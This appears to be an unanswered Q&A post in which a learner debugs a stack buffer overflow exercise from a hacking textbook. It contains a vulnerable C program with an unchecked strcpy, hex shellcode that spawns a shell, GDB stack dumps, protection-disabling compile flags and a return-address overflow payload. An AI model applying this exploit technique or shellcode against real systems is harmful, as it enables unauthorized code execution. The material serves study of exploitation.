Why eip is not restored from its location at the stack, instead uses relative to ebp address

1

I try to follow the example of stack smashing from the "Hacking The Art of Exploitation". The main code is

 #include <stdio.h>
    #include <string.h>
    #include <fcntl.h>
    #include <sys/stat.h>
    #include <unistd.h>
    #include "hacking.h"
    
    #define FILENAME "/var/notes"
    
    int print_notes(int, int, char *); // Note printing function.
    int find_user_note(int, int); // Seek in file for a note for user.
    int search_note(char *, char *); // Search for keyword function.
    void fatal(char *); // Fatal error handler
    
    int main(int argc, char *argv[]) {
    
            int userid, printing=1, fd; // File descriptor
            char searchstring[100];
    
            if(argc > 1) // If there is an arg,
                    strcpy(searchstring, argv[1]); // that is the search string;
    
            else // otherwise,
                    searchstring[0] = 0; // search string is empty.
    
            userid = getuid();
            fd = open(FILENAME, O_RDONLY); // Open the file for read-only access.
            if(fd == -1)
                    fatal("in main() while opening file for reading");
    
            while(printing)
                    printing = print_notes(fd, userid, searchstring);
            printf("-------[ end of note data ]-------\n");
            close(fd);
    
    }

Overflow happens at strcpy(searchstring, argv[1]) when we write more than 100 bytes.

I used to create environmental variable with a shell code as mentioned in the book. c031 db31 c931 b099 cda4 6a80 580b 6851 2f2f 6873 2f68 6962 896e 51e3 e289 8953 cde1 0080 which seems to work, as I tried it in simple program which just call the code.

So I call the program with the parameter which is the 40x repeated address of the env variable which contains she shellcode. I checked the core dump and shellcode is at the correct address.

Now to the main part

When I run the program it prints some notes, but exit with SIGSEGV.

What is interesting, the return address is not what I wanted.

I noticed, that when coping the string to searchstring buffer program overwrites the address where eip address is saved in main function frame, but nevertheless eip is changed to the value from the address 4 bytes below ebp.

Let have a look

=> 0xf7e56ded:  66 0f 74 c3 pcmpeqb %xmm3,%xmm0

(gdb) x/50xw $esp

0xffffcf54: 0x0804a000  0x00000000  0x0804875c  0xffffcf70

0xffffcf64: 0xffffd290  0xf7fcf410  0x08048733  0xffffde0d

0xffffcf74: 0xffffde0d  0xffffde0d  0xffffde0d  0xffffde0d

0xffffcf84: 0xffffde0d  0xffffde0d  0xffffde0d  0xffffde0d

0xffffcf94: 0xffffde0d  0xffffde0d  0xffffde0d  0xffffde0d

0xffffcfa4: 0xffffde0d  0xffffde0d  0xffffde0d  0xffffde0d

0xffffcfb4: 0xffffde0d  0xffffde0d  0xffffde0d  0xffffde0d

0xffffcfc4: 0xffffde0d  0xffffde0d  0xffffde0d  0xffffde0d

0xffffcfd4: 0xffffde0d  0xffffde0d  0xffffde0d  0xffffd000

0xffffcfe4: 0x00000000  0x00000000  0xf7de0e81  0xf7fa0000

0xffffcff4: 0xf7fa0000  0x00000000  **0xf7de0e81**  0x00000002

0xffffd004: 0xffffd094  0xffffd0a0  0xffffd024  0x00000001

0xffffd014: 0x00000000  0xf7fa0000```

eip is in bold

```**(gdb) i f 1**

Stack frame at 0xffffd000:

 eip = 0x804875c in main (notesearch.c:21); **saved eip = 0xf7de0e81**

 caller of frame at 0xffffcf60

 source language c.

 Arglist at 0xffffcfe8, args: argc=2, argv=0xffffd094

 Locals at 0xffffcfe8, Previous frame's sp is 0xffffd000

 Saved registers:

  ebx at 0xffffcfe4, ebp at 0xffffcfe8, **eip at 0xffffcffc**

whith the next ni in GDB the address which holds ebp is overriten, but look, eip is now at different address in frame information, also the address of eip is not yet overriten!!!

(gdb) ni

0xf7e56df1 in ?? () from /lib/i386-linux-gnu/libc.so.6
=> 0xf7e56df1:  66 0f d7 c0 pmovmskb %xmm0,%eax

(gdb) 
0xf7e56df5 in ?? () from /lib/i386-linux-gnu/libc.so.6
=> 0xf7e56df5:  83 c3 10    add    $0x10,%ebx

(gdb) 
0xf7e56df8 in ?? () from /lib/i386-linux-gnu/libc.so.6
=> 0xf7e56df8:  85 c0   test   %eax,%eax

(gdb) 
0xf7e56dfa in ?? () from /lib/i386-linux-gnu/libc.so.6
=> 0xf7e56dfa:  0f 85 e0 00 00 00   jne    0xf7e56ee0

(gdb) 
0xf7e56e00 in ?? () from /lib/i386-linux-gnu/libc.so.6
=> 0xf7e56e00:  f3 0f 7f 1c 1a  movdqu %xmm3,(%edx,%ebx,1)

(gdb) 
0xf7e56e05 in ?? () from /lib/i386-linux-gnu/libc.so.6
=> 0xf7e56e05:  89 c8   mov    %ecx,%eax

(gdb) x/50xw $esp

0xffffcf54: 0x0804a000  0x00000000  0x0804875c  0xffffcf70

0xffffcf64: 0xffffd290  0xf7fcf410  0x08048733  0xffffde0d

0xffffcf74: 0xffffde0d  0xffffde0d  0xffffde0d  0xffffde0d

0xffffcf84: 0xffffde0d  0xffffde0d  0xffffde0d  0xffffde0d

0xffffcf94: 0xffffde0d  0xffffde0d  0xffffde0d  0xffffde0d

0xffffcfa4: 0xffffde0d  0xffffde0d  0xffffde0d  0xffffde0d

0xffffcfb4: 0xffffde0d  0xffffde0d  0xffffde0d  0xffffde0d

0xffffcfc4: 0xffffde0d  0xffffde0d  0xffffde0d  0xffffde0d

0xffffcfd4: 0xffffde0d  0xffffde0d  0xffffde0d  0xffffde0d

0xffffcfe4: 0xffffde0d  0xffffde0d  0xffffde0d  0xf7fa0000

0xffffcff4: 0xf7fa0000  0x00000000  **0xf7de0e81**  0x00000002

0xffffd004: 0xffffd094  0xffffd0a0  0xffffd024  0x00000001

0xffffd014: 0x00000000  0xf7fa0000

**(gdb) i f**
Stack level 0, frame at 0xffffcf60:

 eip = 0xf7e56e05; saved eip = 0x804875c  ***this is return address to main***

 called by frame at 0xffffde0d

 Arglist at 0xffffcfe8, args: 

 Locals at 0xffffcfe8, Previous frame's sp is 0xffffcf60

 Saved registers:

  ebx at 0xffffcf54, edi at 0xffffcf58, eip at 0xffffcf5c

**(gdb) i f 1**

Stack frame at 0xffffde0d:

 eip = 0x804875c in main (notesearch.c:21); saved **eip = 0x53e28951**

 caller of frame at 0xffffcf60

 source language c.

 Arglist at 0xffffcfe8, args: argc=-2133991031, argv=0x5f434c00

 Locals at 0xffffcfe8, Previous frame's sp is 0xffffde0d

 Saved registers:

  ebx at 0xffffcfe4, ebp at 0xffffcfe8, **eip at 0xffffde09**

So, once return to main, strange eip address is restored (again this value is from the address just below the address used for stack smashing).

Will be thankful for explanation.

program compiled as

gcc -g -m32 -fno-stack-protector -z execstack -no-pie notesearch.c -o notesearch

and run as

gdb -q --args ./notesearch $(perl -e 'print "\x0d\xde\xff\xff"x40')

c
linux
assembly
stack

0 Answers

Nobody has answered this question yet.


User contributions licensed under CC BY-SA 3.0